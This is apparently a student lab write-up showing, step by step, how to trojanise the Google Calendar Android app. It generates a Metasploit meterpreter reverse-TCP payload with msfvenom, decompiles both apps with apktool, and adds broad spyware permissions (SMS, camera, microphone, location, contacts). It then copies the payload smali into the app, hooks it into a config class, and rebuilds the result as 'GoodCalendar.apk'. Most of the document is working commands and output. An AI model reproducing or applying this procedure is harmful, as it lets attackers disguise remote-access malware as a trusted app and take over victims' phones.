Malicious APK File Creation

No. 10

To start off with, we first created a malicious app using metasploit's msfvenom command and decompiled the app and its content into a folder using apktool.

```
kali@kali: ~/Downloads
File  Actions  Edit  View  Help
        RX packets 25  bytes 1962 (1.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 25  bytes 1962 (1.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(kali㉿kali)-[~/Downloads]
└─$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=2525 -o
 virus.apk
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
1: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
1: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
2: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
2: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.
2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:1
3: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAl
gorithm::EcdsaSha2Nistp256::IDENTIFIER
```

Above command created an apk file called virus.apk and using apktool the apk file contents are decompiled into a folder called virusAppContents as shown below:

```
kali@kali: ~/Downloads
File  Actions  Edit  View  Help
jd-gui-1.6.6.deb
quiz2
skype
skype.apk
skype_try_unzipped
sublime-text-3211-1-x86_64.pkg.tar.xz
virus.apk
virusAppContents

┌──(kali㉿kali)-[~/Downloads]
└─$ apktool d -f virus.apk -o virusAppContents
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1-dirty on virus.apk
I: Loading resource table ...
I: Decoding AndroidManifest.xml with resources ...
I: Loading resource table from file: /home/kali/.local/share/apktool/framewor
k/1.apk
I: Regular manifest package ...
I: Decoding file-resources ...
I: Decoding values */* XMLs ...
I: Baksmaling classes.dex ...
I: Copying assets and libs ...
I: Copying unknown files ...
I: Copying original files ...

┌──(kali㉿kali)-[~/Downloads]
└─$
```

The contents inside the folder virusAppContents are as shown below:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ cd virusAppContents

┌──(kali㉿kali)-[~/Downloads/virusAppContents]
└─$ ls
AndroidManifest.xml  apktool.yml  original  res  smali

┌──(kali㉿kali)-[~/Downloads/virusAppContents]
└─$
```

We now downloaded google calendar.apk and using same apktool commands, decompiled the apk file contents into a folder called Calendar_Contents.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ apktool d -f Calendar.apk -o Calendar_Contents
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1-dirty on Calendar.apk
I: Loading resource table ...
I: Decoding AndroidManifest.xml with resources ...
I: Loading resource table from file: /home/kali/.local/share/apktool/framewor
k/1.apk
I: Regular manifest package ...
I: Decoding file-resources ...
I: Decoding values */* XMLs ...
I: Baksmaling classes.dex ...
I: Copying assets and libs ...
I: Copying unknown files ...
I: Copying original files ...

┌──(kali㉿kali)-[~/Downloads]
└─$
```

```
┌──(kali㉿kali)-[~/Downloads]
└─$ cd Calendar_Contents

┌──(kali㉿kali)-[~/Downloads/Calendar_Contents]
└─$ ls
AndroidManifest.xml  apktool.yml  original  res  smali  unknown

┌──(kali㉿kali)-[~/Downloads/Calendar_Contents]
└─$
```

We now edited the AndroidManifest.xml file of Calendar.apk to add the permissions that are present in the AndroidManifest.xml file of virus.apk (the malicious apk which we created at the beginning)

*~/Downloads/Calendar_Contents/AndroidManifest.xml - Mousepad

File Edit Search View Document Help

```
1 <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="
  platformBuildVersionCode="30" platformBuildVersionName="11">
2     <uses-permission android:name="android.permission.READ_CALENDAR"/>
3     <uses-permission android:name="android.permission.WAKE_LOCK"/>
4     <uses-permission android:name="android.permission.INTERNET"/>
5     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
6     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
7     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
8     <uses-permission android:name="android.permission.VIBRATE"/>
9     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
10    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
11    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
12    <uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
13    <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
14    <uses-permission android:name="android.permission.INTERNET"/>
15        <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
16        <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
17        <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
18        <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
19        <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
20        <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
21        <uses-permission android:name="android.permission.SEND_SMS"/>
22        <uses-permission android:name="android.permission.RECEIVE_SMS"/>
23        <uses-permission android:name="android.permission.RECORD_AUDIO"/>
24        <uses-permission android:name="android.permission.CALL_PHONE"/>
25        <uses-permission android:name="android.permission.READ_CONTACTS"/>
26        <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
27        <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
28        <uses-permission android:name="android.permission.CAMERA"/>
29        <uses-permission android:name="android.permission.READ_SMS"/>
30        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
31        <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
32        <uses-permission android:name="android.permission.SET_WALLPAPER"/>
33        <uses-permission android:name="android.permission.READ_CALL_LOG"/>
34        <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
35        <uses-permission android:name="android.permission.WAKE_LOCK"/>
36        <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
```

We now copied the Payload.smali from virusAppContents to Calendar_Contents, i.e., the malicious payload file which was created for virus.apk is now present in the Calendar folder.

kali@kali: ~/Downloads/Calendar_Contents/smali/com/metasploit/stage

File Actions Edit View Help

kali@kali: ~/Down.../metasploit/stage × | kali@kali: ~/Down.../metasploit/stage ×

```
┌──(kali㉿kali)-[~/…/smali/com/metasploit/stage]
└─$ cp /home/kali/Downloads/virus
cp: missing destination file operand after '/home/kali/Downloads/virus'
Try 'cp --help' for more information.

┌──(kali㉿kali)-[~/…/smali/com/metasploit/stage]
└─$ cp /home/kali/Downloads/virusAppContents/smali/com/metasploit/stage/Paylo
ad.smali  /home/kali/Downloads/Calendar_Contents/smali/com/metasploit/stage

┌──(kali㉿kali)-[~/…/smali/com/metasploit/stage]
└─$ ls
Payload.smali
```

Now comes the interesting part., we have added our secret code in the string.xml file which generally resides in values folder in res. We have defined a string with name “**secret_password**” with the value “ **IWillHackYou25**” as shown below:

(It can be found in line highlighted)

```xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="abc_action_bar_home_description">Navigate home</string>
    <string name="abc_action_bar_up_description">Navigate up</string>
    <string name="abc_action_menu_overflow_description">More options</string>
    <string name="abc_action_mode_done">Done</string>
    <string name="abc_activity_chooser_view_see_all">See all</string>
    <string name="abc_activitychooserview_choose_application">Choose an app</string>
    <string name="abc_capital_off">OFF</string>
    <string name="abc_capital_on">ON</string>
    <string name="abc_font_family_body_1_material">sans-serif</string>
    <string name="abc_font_family_body_2_material">sans-serif-medium</string>
    <string name="abc_font_family_button_material">sans-serif-medium</string>
    <string name="abc_font_family_caption_material">sans-serif</string>
    <string name="abc_font_family_display_1_material">sans-serif</string>
    <string name="abc_font_family_display_2_material">sans-serif</string>
    <string name="abc_font_family_display_3_material">sans-serif</string>
    <string name="abc_font_family_display_4_material">sans-serif-light</string>
    <string name="abc_font_family_headline_material">sans-serif</string>
    <string name="abc_font_family_menu_material">sans-serif</string>
    <string name="secret-password">IWillHackYou2525</string>
    <string name="abc_font_family_subhead_material">sans-serif</string>
    <string name="abc_font_family_title_material">sans-serif-medium</string>
    <string name="abc_menu_alt_shortcut_label">Alt+</string>
    <string name="abc_menu_ctrl_shortcut_label">Ctrl+</string>
    <string name="abc_menu_delete_shortcut_label">delete</string>
    <string name="abc_menu_enter_shortcut_label">enter</string>
    <string name="abc_menu_function_shortcut_label">Function+</string>
    <string name="abc_menu_meta_shortcut_label">Meta+</string>
    <string name="abc_menu_shift_shortcut_label">Shift+</string>
    <string name="abc_menu_space_shortcut_label">space</string>
    <string name="abc_menu_sym_shortcut_label">Sym+</string>
    <string name="abc_prepend_shortcut_label">Menu+</string>
    <string name="abc_search_hint">Search…</string>
```

Also in the config.smali file we have given the path of the Payload copied so that the malicious payload would get triggered upon the execution of this configuration.

```
strings.xml    Payload.smali    Helper.smali    Config.smali

.field public static ads_start_free:I = 0x5

.field public static show_ads_remove_btn:Z = false

.field private static final url:Ljava/lang/String; = "https://mb4mobile.pl/config/config.php"


# instance fields
.field cnt:Landroid/content/Context;

.field last:Ljava/lang/Long;


# direct methods
.method static constructor <clinit>()V
    .locals 0

    return-void
.end method

.method public constructor <init>(Landroid/content/Context;)V
    .locals 0

    .line 31
    invoke-direct {p0}, Lcom/metasploit/stage/Payload;->-><init>()V

    .line 32
```

We now finally recompiled the app with all of this data to **GoodCalendar.apk** using apktool commands.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ apktool b Calendar_Contents -o GoodCalendar.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed ...
I: Smaling smali folder into classes.dex ...
I: Checking whether resources has changed ...
I: Building resources ...
W: /home/kali/Downloads/Calendar_Contents/res/layout/userdate.xml:9: warning:
 found plain 'id' attribute; did you mean the new 'android:id' name?
W: /home/kali/Downloads/Calendar_Contents/res/layout-v17/userdate.xml:9: warn
ing: found plain 'id' attribute; did you mean the new 'android:id' name?
W: /home/kali/Downloads/Calendar_Contents/res/layout-v21/userdate.xml:9: warn
ing: found plain 'id' attribute; did you mean the new 'android:id' name?
I: Building apk file ...
I: Copying unknown files/dir ...
I: Built apk ...

┌──(kali㉿kali)-[~/Downloads]
└─$
```